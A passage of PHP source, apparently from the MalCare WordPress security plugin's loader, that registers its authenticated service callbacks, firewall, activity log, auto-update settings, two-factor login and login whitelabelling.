$_REQUEST = array_merge($_GET, $_POST); // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.NonceVerification.Recommended
}
#Service active check
if ($bvinfo->config != false) {
add_action('mc_remove_bv_preload_include', array($wp_action, 'removeBVPreload'));
}
require_once dirname( __FILE__ ) . '/php_error_monitoring/monitoring.php';
MCWPPHPErrorMonitoring::init();
if ($bvinfo->hasValidDBVersion()) {
if ($bvinfo->isServiceActive('activity_log')) {
require_once dirname( __FILE__ ) . '/wp_actlog.php';
$bvconfig = $bvinfo->config;
$actlog = new BVWPActLog($bvdb, $bvsettings, $bvinfo, $bvconfig['activity_log']);
$actlog->init();
}
##MAINTENANCEMODULE##
}
if (MCHelper::getRawParam('REQUEST', 'bvplugname') == "malcare") {
require_once dirname( __FILE__ ) . '/callback/base.php';
require_once dirname( __FILE__ ) . '/callback/response.php';
require_once dirname( __FILE__ ) . '/callback/request.php';
require_once dirname( __FILE__ ) . '/recover.php';
$pubkey = MCHelper::getRawParam('REQUEST', 'pubkey');
$pubkey = isset($pubkey) ? MCAccount::sanitizeKey($pubkey) : '';
$rcvracc = MCHelper::getRawParam('REQUEST', 'rcvracc');
if (isset($rcvracc)) {
$account = MCRecover::find($bvsettings, $pubkey);
} else {
$account = MCAccount::find($bvsettings, $pubkey);
}
$request = new BVCallbackRequest($account, $_REQUEST, $bvsettings); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
$response = new BVCallbackResponse($request->bvb64cksize);
if ($request->authenticate() === 1) {
$bv_frm_tstng = MCHelper::getRawParam('REQUEST', 'bv_frm_tstng');
if (isset($bv_frm_tstng)) {
require_once dirname(__FILE__) . '/form_testing/form_testing.php';
$form_testing = new BVFormTesting($_REQUEST); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
$form_testing->init();
} else {
define('MCBASEPATH', plugin_dir_path(__FILE__));
require_once dirname( __FILE__ ) . '/callback/handler.php';
$params = $request->processParams($_REQUEST); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
if ($params === false) {
$response->terminate($request->corruptedParamsResp());
}
$request->params = $params;
$callback_handler = new BVCallbackHandler($bvdb, $bvsettings, $bvsiteinfo, $request, $account, $response);
if ($request->is_afterload) {
add_action('wp_loaded', array($callback_handler, 'execute'));
} else if ($request->is_admin_ajax) {
add_action('wp_ajax_bvadm', array($callback_handler, 'bvAdmExecuteWithUser'));
add_action('wp_ajax_nopriv_bvadm', array($callback_handler, 'bvAdmExecuteWithoutUser'));
} else {
$callback_handler->execute();
}
}
} else {
$response->terminate($request->authFailedResp());
}
} else {
if ($bvinfo->hasValidDBVersion()) {
if ($bvinfo->isProtectModuleEnabled()) {
require_once dirname( __FILE__ ) . '/protect/protect.php';
//For backward compatibility.
MCProtect_V602::$settings = new MCWPSettings();
MCProtect_V602::$db = new MCWPDb();
MCProtect_V602::$info = new MCInfo(MCProtect_V602::$settings);
add_action('mc_clear_pt_config', array('MCProtect_V602', 'uninstall'));
if ($bvinfo->isActivePlugin()) {
MCProtect_V602::init(MCProtect_V602::MODE_WP);
}
}
if ($bvinfo->isDynSyncModuleEnabled()) {
require_once dirname( __FILE__ ) . '/wp_dynsync.php';
$bvconfig = $bvinfo->config;
$dynsync = new BVWPDynSync($bvdb, $bvsettings, $bvconfig['dynsync']);
$dynsync->init();
}
}
$bv_site_settings = $bvsettings->getOption('bv_site_settings');
if (isset($bv_site_settings)) {
if (isset($bv_site_settings['wp_auto_updates'])) {
$wp_auto_updates = $bv_site_settings['wp_auto_updates'];
if (array_key_exists('block_auto_update_core', $wp_auto_updates)) {
add_filter('auto_update_core', '__return_false' );
}
if (array_key_exists('block_auto_update_theme', $wp_auto_updates)) {
add_filter('auto_update_theme', '__return_false' );
add_filter('themes_auto_update_enabled', '__return_false' );
}
if (array_key_exists('block_auto_update_plugin', $wp_auto_updates)) {
add_filter('auto_update_plugin', '__return_false' );
add_filter('plugins_auto_update_enabled', '__return_false' );
}
if (array_key_exists('block_auto_update_translation', $wp_auto_updates)) {
add_filter('auto_update_translation', '__return_false' );
}
}
}
if (is_admin()) {
add_filter('site_transient_update_plugins', array($wpadmin, 'hidePluginUpdate'));
}
##THIRDPARTYCACHINGMODULE##
}
if (MCWP2FA::isEnabled($bvsettings)) {
$wp_2fa = new MCWP2FA();
$wp_2fa->init();
}
if (!empty($bvinfo->getLPWhitelabelInfo())) {
$wp_login_whitelabel = new MCWPLoginWhitelabel();
$wp_login_whitelabel->init();
}
add_action('mc_clear_wp_2fa_config', array($wp_action, 'clear_wp_2fa_config'));